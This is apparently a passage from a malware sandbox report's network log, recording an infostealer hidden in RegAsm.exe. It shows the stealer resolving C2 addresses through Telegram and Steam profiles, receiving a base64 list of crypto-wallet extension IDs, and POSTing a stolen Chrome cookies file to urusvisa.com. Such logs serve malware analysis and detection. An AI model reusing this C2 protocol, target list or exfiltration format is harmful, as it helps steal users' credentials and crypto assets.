1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Sep 30, 2024 14:00:08.790317059 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Sep 30, 2024 14:00:08.790328979 CEST	1236	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
Sep 30, 2024 14:00:08.790368080 CEST	672	IN	Data Raw: 70 63 32 55 67 4c 53 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 Data Ascii: pc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam
Sep 30, 2024 14:00:08.790384054 CEST	1236	IN	Data Raw: 6c 64 43 41 74 49 46 42 76 62 47 74 68 5a 47 39 30 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 39 75 61 47 39 6e 5a 6d 70 6c 59 57 4e 75 5a 6d 39 76 5a 6d 74 6d 5a 33 42 77 5a 47 78 69 62 57 78 74 62 6e 42 73 5a 32 4a 75 66 44 46 38 4d 48 77 77 66 Data Ascii: ldCAtIFBvbGthZG90IFdhbGxldHwxfG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHwxfG1tbWpiY2ZvZmNvbmthbm5qb25mbWpqYWpwbGxkZGJnfDF8MHwwfEdsYXNzIFdhbGxldCAtIFN1aSBXYWxsZXR8MXxsb2luZWtjYWJobG1oampib2NpamRvaW1tZWphbmdvYXwxfDB8MH
Sep 30, 2024 14:00:08.790395975 CEST	227	IN	Data Raw: 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 44 46 38 62 6e 42 6f 63 47 78 77 5a 32 39 68 61 32 68 6f 61 6d 4e 6f 61 32 74 6f 62 57 6c 6e 5a 32 46 72 61 57 70 75 61 32 68 6d 62 6d 52 38 4d 58 77 77 66 44 42 38 54 58 6c 55 62 32 35 58 59 Data Ascii: 8MHxUT04gV2FsbGV0fDF8bnBocGxwZ29ha2hoamNoa2tobWlnZ2FraWpua2hmbmR8MXwwfDB8TXlUb25XYWxsZXR8MXxmbGRmcGdpcGZuY2duZGZvbGNia2RlZWtuYmJibmhjY3wxfDB8MHxVbmlzd2FwIEV4dGVuc2lvbnwxfG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Sep 30, 2024 14:00:08.876950979 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 14:00:08.878263950 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFH Host: urusvisa.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="mode"21------CAFIJKFHIJKKEBGCFBFH--
Sep 30, 2024 14:00:09.418886900 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Sep 30, 2024 14:00:10.000134945 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKE Host: urusvisa.com Content-Length: 7593 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 14:00:10.000188112 CEST	7593	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------HJECAAKKFHCFIE
Sep 30, 2024 14:00:10.669635057 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 14:00:10.722754002 CEST	1008	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: urusvisa.com Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 [TRUNCATED] Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file_name"Q29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file_data"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------IDHDGDHJEGHIDGDHCGCB--
Sep 30, 2024 14:00:11.242073059 CEST	178	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49719	149.154.167.99	443	3532	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 11:59:17 UTC	87	OUT	GET /jamsemlg HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-09-30 11:59:17 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 30 Sep 2024 11:59:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12381 Connection: close Set-Cookie: stel_ssid=e24bf01cb1dccc3d2c_1091684912320142115; expires=Tue, 01 Oct 2024 11:59:17 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-30 11:59:17 UTC	12381	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6a 61 6d 73 65 6d 6c 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @jamsemlg</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pare

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49724	104.21.1.169	443	2084	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 11:59:39 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: underlinemdsj.site
2024-09-30 11:59:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 11:59:40 UTC	770	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=02usv7cijtrruv3o3anmqgm53g; expires=Fri, 24 Jan 2025 05:46:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oluwXcps3gxfQbIyi2WU1wIAKuIxRsc%2B5n%2FCs9yrS5wH1AH4vr7es9RIh6rrfw9u6GuyMmxM45cU65rOxUMQS8rsjgEdeUHoo9ZqWcMUSTlDVwJFu0aBPiH9bkAURhPIvugaAa8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb40c51e8a28c47-EWR
2024-09-30 11:59:40 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 11:59:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49725	104.102.49.254	443	2084	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 11:59:41 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-30 11:59:41 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 30 Sep 2024 11:59:41 GMT Content-Length: 34678 Connection: close Set-Cookie: sessionid=cc88d904532058f38663c348; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-30 11:59:41 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-30 11:59:41 UTC	16384	IN	Data Raw: 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f Data Ascii: ss': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_actio
2024-09-30 11:59:41 UTC	3768	IN	Data Raw: 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a Data Ascii: eLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content ">
2024-09-30 11:59:41 UTC	12	IN	Data Raw: 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: dy></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49726	188.114.97.3	443	2084	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 11:59:42 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: chaptermusu.store
2024-09-30 11:59:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 11:59:42 UTC	776	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8c1ierrvi1kh2ltfsuuhsuih3r; expires=Fri, 24 Jan 2025 05:46:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CFgcaBLY6ub6z74GbEdxu8bPFnVIOvR1p448aUkQP4cEICjdpx65frlGi9AFtIGQs86103%2FsT2I08GW%2FkshJTyzz6DdHjfqQI%2BuTxxnvuIsNbo%2B51AZyZa7EPjhAMXlpBhlE9g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb40c619c4c0f6d-EWR
2024-09-30 11:59:42 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 11:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49734	149.154.167.99	443	424	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 11:59:56 UTC	145	OUT	GET /jamsemlg HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=e24bf01cb1dccc3d2c_1091684912320142115
2024-09-30 11:59:56 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 30 Sep 2024 11:59:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12381 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-30 11:59:56 UTC	12381	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6a 61 6d 73 65 6d 6c 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @jamsemlg</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pare

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49735	172.67.205.129	443	6864	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
